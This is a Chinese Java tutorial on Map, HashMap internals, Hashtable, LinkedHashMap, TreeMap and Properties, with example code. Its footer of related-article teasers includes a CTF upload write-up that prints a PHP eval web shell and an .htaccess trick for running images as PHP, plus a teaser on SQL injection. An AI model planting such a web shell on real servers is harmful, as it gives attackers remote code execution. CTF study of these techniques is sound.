        System.out.println(map);//{a=1, b=2, c=3, d=5}

2.get (K k) :返回的是value,通过键找值

       System.out.println(map);//{a=1, b=2, c=3, d=5}
       Integer integer = map.get("a");
       System.out.println(integer);//1

3.key可以为空,但是只能有一个。

        System.out.println(map);//{a=1, b=2, c=3, d=5}
        map.put(null,9);
        map.put(null,10);//会覆盖掉上一个
        System.out.println(map);//{null=10, a=1, b=2, c=3, d=5}

4.boolean isEmpty() 查看是否为空

        System.out.println(map);//{a=1, b=2, c=3, d=5}
        boolean empty = map.isEmpty();
        System.out.println("是否为空:"+empty);//false

5.containsKey(Object o)   查看是否包含这个key值

        System.out.println(map);//{a=1, b=2, c=3, d=5}
        boolean b = map.containsKey("d");
        System.out.println("是否包含:"+b);//true

6.containsValue(Object o) 查看是否包含这个value值

        System.out.println(map);//{a=1, b=2, c=3, d=5}
        boolean b = map.containsValue(4);
        System.out.println("是否包含:"+b);//false

7.V remove(K k) 移除一个键值树 ,返回的是移除的键值树的value值

        System.out.println(map);//{a=1, b=2, c=3, d=5}
        Integer b = map.remove("d");
        System.out.println(b);//5
        System.out.println(map);//{a=1, b=2, c=3}

8.clear()清空所有键值树

        System.out.println(map);//{a=1, b=2, c=3, d=5}
        map.clear();
        System.out.println(map);//{}

 9.Map集合的遍历:keySet()和entrySet()

(1). keySet() 返回所有的key的set集合形式
        System.out.println(map);//{a=1, b=2, c=3, d=5}
        Set<String> strings = map.keySet();
        for (String s :strings){
            System.out.print(s+" ");//a b c d 
        }
 (2)entrySet()返回entry对象(每一个entry都是一个键值对)的Set集合

        Entry类型提供了getKey()和getValue()方法

        System.out.println(map);//{a=1, b=2, c=3, d=5}
        Set<Map.Entry<String, Integer>> entries = map.entrySet();
        for (Map.Entry<String, Integer> entry:entries){
            System.out.print(entry.getKey()+"="+entry.getValue()+" ");//a=1 b=2 c=3 d=5 
        }

3.HashMap的实现原理

 1)原理 

HashMap中主要是通过key的hashCode来计算hash值的,只要hashCode相同,计算出来的hash值就一样。如果存储的对象对多了,就有可能不同的对象所算出来的hash值是相同的,这就出现了所谓的hash冲突

图中,紫色部分即代表哈希表,也称为哈希数组,数组的每个元素都是一个单链表的头节点,链表是用来解决冲突的,如果不同的key映射到了数组的同一位置处,就将其放入单链表中

2)装载因子及其HashMap优化

capacity:容量,hash表里bucket(桶)的数量,也就是散列数组大小

initial capacity:初始容量,创建hash表时,初始bucket的数量,默认构建容量为16,也可以使用特定容量。

size:大小,当前散列表中存储数据的数量

load factor:加载因子,默认值0.75也就是75%,当向散列表增加数据时,如果size/capacity的值大于loadfactor,则发生扩容并且重新散列(rebash)

性能优化:加载因子较小时,散列查找性能会提高,但是也浪费了散列桶空间容量。0.75是性能和空间相对平衡结果。在创建散列表时指定合理容量,减少rehash能提供性能

4.HashMap与HashTable

HashMap 和 Hashtable 是 Map 接口的两个典型实现类

区别:

  • Hashtable 是一个古老的 Map 实现类,不建议使用

  • Hashtable 是一个线程安全的 Map 实现,但 HashMap 是线程不安全的,所以查找效率高

  • Hashtable 不允许使用 null 作为 key 和 value,而 HashMap 可以

与 HashSet 集合不能保证元素的顺序一样,Hashtable 、HashMap 也不能保证其中 key-value 对的顺序

5.LinkedHashMap

LinkedHashMap 是 HashMap 的子类

LinkedHashMap 可以维护 Map 的迭代顺序:迭代顺序与 Key-Value 对的插入顺序一致

public static void main(String[] args) {
        Map<String,String> map = new LinkedHashMap<>();
        map.put("张三","北京");
        map.put("李四","上海");
        map.put("王五","北京");
        map.put("赵六","长春");
        System.out.println(map);//有序的//{张三=北京, 李四=上海, 王五=北京, 赵六=长春}
    }

6.TreeMap

TreeMap 存储 Key-Value对时,需要根据 Key 对 key-value 对进行排序。TreeMap 可以保证所有的 Key-Value 对处于有序状态。

TreeMap 的 Key 的排序:

  • 自然排序:TreeMap 的所有的 Key 必须实现 Comparable 接口,而且所有的 Key 应该是同一个类的对象,否则将会抛出 ClasssCastException

       Map<String,Integer>  map =  new TreeMap<>();
       map.put("lisi",80);
       map.put("wangwu",68);
       map.put("zhaoliu",68);
       map.put("michael",68);
       System.out.println(map);//{lisi=80, michael=68, wangwu=68, zhaoliu=68}
  • 定制排序:创建 TreeMap 时,传入一个 Comparator 对象,该对象负责对 TreeMap 中的所有 key 进行排序。此时不需要 Map 的 Key 实现 Comparable 接口

public static void main(String[] args)  {
        Comparator<String>  c = new Comparator<String>() {
            @Override
            public int compare(String o1, String o2) {
                return o2.compareTo(o1);//调用String类自己的compareTo方法
            }
        };
       Map<String,Integer>  map =  new TreeMap<>(c);
       map.put("lisi",80);
       map.put("wangwu",68);
       map.put("zhaoliu",68);
       map.put("michael",68);
       System.out.println(map);//{zhaoliu=68, wangwu=68, michael=68, lisi=80}

    }

12.Properties

1.是HashTable的子类型,比较常用,一般用于加载配置文件里的KEY和VALUE

2.因为配置文件里都是字符串,因此Properties里的KREY和VALURE也都要是String类型

3.该对象的key和value都不可以为null

(1)常用方法

1.put()方法:添加键值树

       Properties p = new Properties();
       p.put("a","3");
       p.put("h","5");
       p.put("g","7");
       p.put("f","9");
       p.put("c","5");
       System.out.println(p);//{a=3, h=5, g=7, f=9, c=5}

2.getProperty( String  key)   通过指定的key,获取对应的value,如果不存在,返回null

        System.out.println(p);//{a=3, h=5, g=7, f=9, c=5}
        String f = p.getProperty("f");
        System.out.println(f);//9

3.getProperty(String key,String defaultValue)

如果存在,获取到对应的value,覆盖掉默认的defaultValue,

如果不存在,返回默认的defaultValue

        System.out.println(p);//{a=3, h=5, g=7, f=9, c=5}
        String f = p.getProperty("f","0");
        System.out.println(f);//9
        String w = p.getProperty("w", "6");
        System.out.println(w);//6

4.遍历

        System.out.println(p);//{a=3, h=5, g=7, f=9, c=5}
        Set<Map.Entry<Object, Object>> entries = p.entrySet();
        for (Map.Entry<Object, Object> entry:entries){
            System.out.print(entry.getKey()+"="+entry.getValue()+" ");//a=3 h=5 g=7 f=9 c=5 
        }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2037131.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[upload]-[GXYCTF2019]BabyUpload1-笔记

尝试上传.htaccess和图片和一句话木马提示 php文件提示 响应头可以看到 构造一句话图片木马如下&#xff1a; <script languagephp>eval($_POST[cmd]);</script> 上传成功 必须增加文件夹下jpg后缀解析php .htaccess如下 <FilesMatch "jpg">Set…

windows关闭英语美式键盘

命令窗口 在Windows 中&#xff0c;如果你可通过批处理文件&#xff08;.bat&#xff09;关闭或移除美式键盘布局&#xff0c;可以使用以下步骤创建一个简单的批处理脚本&#xff1a; 打开windows命令窗口 执行命令 reg add "HKCU\Keyboard Layout\Toggle" /v &quo…

多模态感知:打造温室作物的全方位“健康档案“

&#xff08; 于景鑫 国家农业信息化工程技术研究中心&#xff09;现代农业的发展&#xff0c;离不开现代科技的支撑。在温室种植领域&#xff0c;由于环境复杂多变、管理要素繁多&#xff0c;传统人工经验难以应对日益精细化、智能化的生产需求。多模态感知技术的出现&#xf…

由于Offer报文引起的事件订阅失败

今天在工作中碰到一个车机上someip事件订阅的问题&#xff0c;Android端订阅了S32G发布的定位相关的someip服务(0x0001)中的某个事件&#xff08;卫星状态&#xff09;&#xff0c;然后这个事件是基于TCP通信的&#xff0c;设置了通信端口50001。 然后Android端上层应用反馈说收…

机器学习课程学习周报七

机器学习课程学习周报七 文章目录 机器学习课程学习周报七摘要Abstract一、机器学习部分1.1 Transformer模型概述1.2 Transformer编码器1.3 Transformer解码器1.3.1 自回归解码器1.3.2 非自回归解码器 1.4 编码器-解码器注意力1.5 Transformer的训练过程 总结 摘要 本周的学习…

How to debug a appliction on local Linux or WSL?

由于K8S权限控制&#xff0c;当部署在上面的应用程式出现问题后&#xff0c;无法还原用户出问题的场景。所以需要把程式部署到本地的Linux或WSL。 1.Upload application publish files to your Linux or WSL. 2.Add a Dockerfile FROM harbor.xxx.com/dotnet/aspnet:6.0 MAIN…

SQL注入之二次,加解密,DNS注入

加解密注入 在注入的时候&#xff0c;对变量做了加密操作&#xff0c;比如说?id1正常显示&#xff0c;但是代码对1进行了加密&#xff0c;这个时候想用?id1 and 11去判断&#xff0c;就得把1 and 11整体按照网站的方式加密&#xff0c;再去注入 二次注入 无法通过手动注入…

idea和jdk的安装教程

1.JDK的安装 下载 进入官网&#xff0c;找到你需要的JDK版本 Java Downloads | Oracle 中国 我这里是windows的jdk17&#xff0c;选择以下 安装 点击下一步&#xff0c;安装完成 配置环境变量 打开查看高级系统设置 在系统变量中添加两个配置 一个变量名是 JAVA_HOME …

人工智能与机器学习原理精解【12】

文章目录 分级聚类理论分级聚类的详细说明1. 定义2. 算法3. 计算4. 例子5. 例题 皮尔逊相关系数 julia实现 参考文献 分级聚类 理论 分级聚类的详细说明 1. 定义 分级聚类&#xff08;Hierarchical Clustering&#xff09;&#xff0c;又称为层次聚类&#xff0c;是一种通过…

Java虚拟机:虚拟机介绍

大家好&#xff0c;我是栗筝i&#xff0c;这篇文章是我的 “栗筝i 的 Java 技术栈” 专栏的第 033 篇文章&#xff0c;在 “栗筝i 的 Java 技术栈” 这个专栏中我会持续为大家更新 Java 技术相关全套技术栈内容。专栏的主要目标是已经有一定 Java 开发经验&#xff0c;并希望进…

haproxy 原理+实战

haproxy 1 haproxy简介1.1 定义1.2 原理讲解1.3 HAProxy的优点&#xff1a; 2. haproxy的基本部署2.1 实验环境2.1.2 haproxy主机配置2.1.3 webserver1配置2.1.4 webserver2配置 3. haproxy的全局配置4. haproxy代理参数5. haporxy的热处理6.haproxy的算法6.1 静态算法6.1.1sta…

物联网HMI/网关搭载ARM+CODESYS实现软PLC+HMI一体化

物联网HMI/网关搭载CODESYS实现软PLCHMI一体化 硬件&#xff1a;ARM平台&#xff0c;支持STM32/全志T3/RK3568/树莓派等平台 软件&#xff1a;CODESYS V3.5、JMobile Studio CODESYS是一款功能强大的PLC软件编程工具&#xff0c;它支持IEC61131-3标准IL、ST、FBD、LD、CFC、…

数据结构之《二叉树》(下)

在二叉树(中)了解了堆的相关概念后还实现了堆&#xff0c;并且还实现了堆排序&#xff0c;以及解决了TOP-K问题。接下来在本篇中将继续学习二叉树中的链式结构&#xff0c;会学习二叉树中的前、中、后三种遍历并实现链式结构的二叉树&#xff0c;接下来就开始本篇的学习吧&…

LabVIEW开发多语言程序的实现

在全球化的背景下&#xff0c;软件开发中的多语言支持变得愈发重要。LabVIEW作为一种广泛应用于工程和科学领域的图形化编程语言&#xff0c;同样支持多语言应用的开发。实现一个多语言LabVIEW程序不仅能增强用户体验&#xff0c;还可以扩大应用的覆盖范围。本文将介绍在LabVIE…

算法复习(上)

数组复习 数组复习基本就是熟练使用数组&#xff0c;经常配合指针使用以及思维的使用 443. 压缩字符串 - 力扣&#xff08;LeetCode&#xff09; 使用双指针分别标志我们在字符串中读和写的位置&#xff0c;当读指针 read 位于字符串的末尾&#xff0c;或读指针 read 指向的…

Python3 第八十一课 -- urllib

目录 一. 前言 二. urllib.request 三. urllib.error 四. urllib.parse 五. urllib.robotparser 一. 前言 Python urllib 库用于操作网页 URL&#xff0c;并对网页的内容进行抓取处理。 本文主要介绍 Python3 的 urllib。 urllib 包 包含以下几个模块&#xff1a; url…

C# 利用自定义特性,动态拼接sql,查询数据库,动态新增datagridview 列

之前在给一个工厂客户开发一套“售后包装防错系统”的时候&#xff0c;由于业务比较复杂&#xff0c; 每个表的字段基本都保持在10-20个字段区间&#xff0c;如下截图&#xff08;可向右滑动滚动条&#xff09; 正常的做法&#xff0c;肯定是一顿卡卡操作&#xff0c;新建列&…

Java——反射(1/4):认识反射(反射(Reflection)、反射学什么 )、获取类(获取Class对象的三种方式、代码演示)

目录 认识反射 反射&#xff08;Reflection&#xff09; 反射学什么 获取类 获取Class对象的三种方式 代码演示 认识反射 反射&#xff08;Reflection&#xff09; 反射就是&#xff1a;加载类&#xff0c;并允许以编程的方式解剖类中的各种成分&#xff08;成员变量、…

基于BP神经网络的苦瓜生长含水量预测模型matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 (完整程序运行后无水印) T表示温度&#xff0c;v表示风速&#xff0c;h表示模型厚度 2.算法运行软件版本 matlab2022a 3.部分核心程序 &#…

RocketMQ5.0消费者负载均衡实战-顺序消息负载均衡

在看本篇文章之前可以看一下非顺序消息消息负载均衡相关 RocketMQ5.0消费者负载均衡实战-CSDN博客 顺序消息消息粒度负载均衡 顺序消息的负载均衡主要是针对顺序消息特性进行负载&#xff0c;强遵循顺序消息的特性 RocketMQ 非顺序消息粒度负载均衡 RocketMQ 顺序消息粒度负载…